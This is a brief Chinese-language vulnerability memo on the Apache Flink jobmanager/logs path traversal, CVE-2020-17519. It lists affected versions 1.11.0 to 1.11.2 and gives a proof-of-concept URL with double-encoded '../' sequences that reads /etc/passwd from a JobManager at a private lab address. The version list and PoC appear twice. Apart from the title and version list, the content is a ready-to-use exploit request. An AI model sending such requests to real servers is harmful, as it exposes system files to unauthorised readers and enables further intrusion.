影响版本
1.11.0
1.11.1
1.11.2
poc
http://192.168.49.2:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
1.11.0
1.11.1
1.11.2
poc
http://192.168.49.2:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
《Apache Flink jobmanager/logs路径遍历CVE-2020-17519.doc》
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